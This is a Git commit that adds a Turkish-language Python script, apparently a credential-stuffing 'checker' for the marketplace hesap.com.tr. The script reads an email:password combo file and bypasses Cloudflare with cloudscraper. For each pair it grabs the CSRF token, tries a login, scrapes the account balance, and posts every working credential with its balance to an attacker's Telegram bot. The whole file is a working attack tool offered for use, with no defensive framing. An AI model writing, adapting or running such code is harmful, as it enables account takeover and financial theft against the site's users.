main.py Ekle
This commit is contained in:
parent
e52480f815
commit
5415e85b77
119
main.py
Normal file
119
main.py
Normal file
@ -0,0 +1,119 @@
|
||||
import requests
|
||||
import cloudscraper
|
||||
from bs4 import BeautifulSoup
|
||||
import time
|
||||
import re
|
||||
|
||||
"""
|
||||
|
||||
|
||||
@godlesstekno
|
||||
@Ritalin404
|
||||
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
K = '\033[91m'
|
||||
Y = '\033[92m'
|
||||
S = '\033[93m'
|
||||
B = '\033[37m'
|
||||
M = '\033[94m'
|
||||
CY = '\033[96m'
|
||||
|
||||
|
||||
print('''⠀⠀⠀⢠⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⣀⣀⣾⣿⡆⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⢰⣿⣿⣿⣿⡇⣿⣷⠀⠀⡖⡆⢠⠖⡆⠀⣀⠀⠀⠀⣀⠀⠀⠀⣀⢀⠀⣀⠀⣀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⢀⡀⠀⣀⠀⣀⠀⠀⣀⠀⠀⠀⠀⢰⣆⠀⠀⣀⠀
|
||||
⣼⣿⣿⣿⣿⡷⣿⣿⡆⠀⡇⠧⠴⠀⡷⢩⣥⡍⢶⠫⣦⣽⡖⢩⡮⣝⢹⠉⣻⠭⡙⡆⢀⣠⡀⡔⡟⠚⢻⣶⡺⠓⠻⣷⣿⡟⠚⣿⡿⠚⢿⡆⣠⣄⢻⡟⢻⠿⠛⠃
|
||||
⢻⣿⣿⣿⣿⡇⣿⣿⠃⠀⡇⡏⢹⠀⣇⠰⣶⠶⣾⠷⣦⢌⣇⠸⠠⠞⢸⠀⠧⡠⠇⡟⠘⠿⠃⣟⣇⠀⡠⣦⣣⡀⢠⢿⣿⠀⠀⣿⡇⠀⢸⡇⠻⠟⢸⣧⢸⠀⠀⠀
|
||||
⠘⣿⣿⣿⣿⡇⣿⡿⠀⠀⠓⠃⠀⠓⠋⠑⠒⠚⠉⠑⠒⠚⠉⠑⠒⠚⠚⠀⡗⠒⠊⠀⠀⠀⠀⠈⠙⠛⠋⠁⠙⠛⠛⠁⠛⠁⠀⠛⠃⠀⠘⠃⠀⠀⠈⠙⠛⠃⠀⠀
|
||||
⠀⠀⠀⢻⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠈⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀''')
|
||||
print(M + '\t\t\u0047\u006f\u0064\u006c\u0065\u0073\u0073\u0020\u0054\u0065\u006b\u006e\u006f\u0020\u0068\u0065\u0073\u0061\u0070\u002e\u0063\u006f\u006d\u002e\u0074\u0072\u0020\u0043\u0068\u0065\u0063\u006b\u0065\u0072')
|
||||
|
||||
token = input(CY + "Token Gir:" + B)
|
||||
id = input(CY + "İd Gir:" + B)
|
||||
|
||||
def telegramagonder(mesaj):
|
||||
try:
|
||||
telegramurl = f"https://api.telegram.org/bot{token}/sendMessage"
|
||||
payload = {
|
||||
"chat_id": id,
|
||||
"text": mesaj,
|
||||
"parse_mode": "Markdown"
|
||||
}
|
||||
requests.post(telegramurl, data=payload)
|
||||
except Exception as e:
|
||||
print(K + f"tg'ye mesaj gönderilemedi..")
|
||||
|
||||
def bakiyekontrol(html_content, email, password):
|
||||
if "balance" in html_content:
|
||||
pattern = re.compile(r'<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>')
|
||||
match = pattern.search(html_content)
|
||||
if match:
|
||||
bakiyee = match.group(1)
|
||||
print(Y + f"✅ Bakiye : {bakiyee} TL")
|
||||
return bakiyee
|
||||
else:
|
||||
print(K + "❌ Bakiye alinamadi...")
|
||||
return None
|
||||
else:
|
||||
return None
|
||||
|
||||
loginurl = "https://hesap.com.tr/login"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36"
|
||||
}
|
||||
|
||||
dosyaadi = input(S + "Combo Gir:" + B)
|
||||
|
||||
try:
|
||||
with open(dosyaadi, "r", encoding="utf-8") as file:
|
||||
hesaplar = file.readlines()
|
||||
|
||||
for hesap in hesaplar:
|
||||
hesap = hesap.strip()
|
||||
if ":" not in hesap:
|
||||
continue
|
||||
|
||||
email, password = hesap.split(":", 1)
|
||||
|
||||
session = cloudscraper.create_scraper()
|
||||
response = session.get(loginurl, headers=headers, allow_redirects=True)
|
||||
|
||||
soup = BeautifulSoup(response.text, "html.parser")
|
||||
tokeninput = soup.find("input", {"name": "_token"})
|
||||
if not tokeninput:
|
||||
print(K + "❌ Token alınamadı!")
|
||||
continue
|
||||
csrftoken = tokeninput.get("value")
|
||||
|
||||
payload = {
|
||||
"_token": csrftoken,
|
||||
"email": email,
|
||||
"password": password,
|
||||
"referer": loginurl
|
||||
}
|
||||
|
||||
loginresponse = session.post(loginurl, data=payload, headers=headers, allow_redirects=True)
|
||||
|
||||
if loginresponse.status_code == 200:
|
||||
if "Growtopia İlan Pazarı" in loginresponse.text:
|
||||
print(Y + f"✅ Giriş başarılı: {email}:{password}")
|
||||
|
||||
bakiyedegeri = bakiyekontrol(loginresponse.text, email, password)
|
||||
if bakiyedegeri:
|
||||
mesaj = f"✅ *Hit hesap.com.tr*\nEmail: `{email}`\nŞifre: `{password}`\nBakiye: `{bakiyedegeri} TL`\nDev: @Ritalin404"
|
||||
else:
|
||||
mesaj = f"✅ *Hit hesap.com.tr*\nEmail: `{email}`\nŞifre: `{password}`\nBakiye: `Bulunamadı`\nDev: @Ritalin404"
|
||||
telegramagonder(mesaj)
|
||||
elif "Lütfen bilgilerinizi kontrol ederek tekrar deneyiniz." in loginresponse.text:
|
||||
print(K + f"❌ Giriş başarısız: {email}:{password}")
|
||||
else:
|
||||
print(K + f"❌ Yetkisiz Giriş {loginresponse.status_code} - {email}")
|
||||
|
||||
except FileNotFoundError:
|
||||
print(K + f"❌ {dosyaadi} dosyası bulunamadı. Lütfen doğru kombo yolu girin!")
|
Loading…
Reference in New Issue
Block a user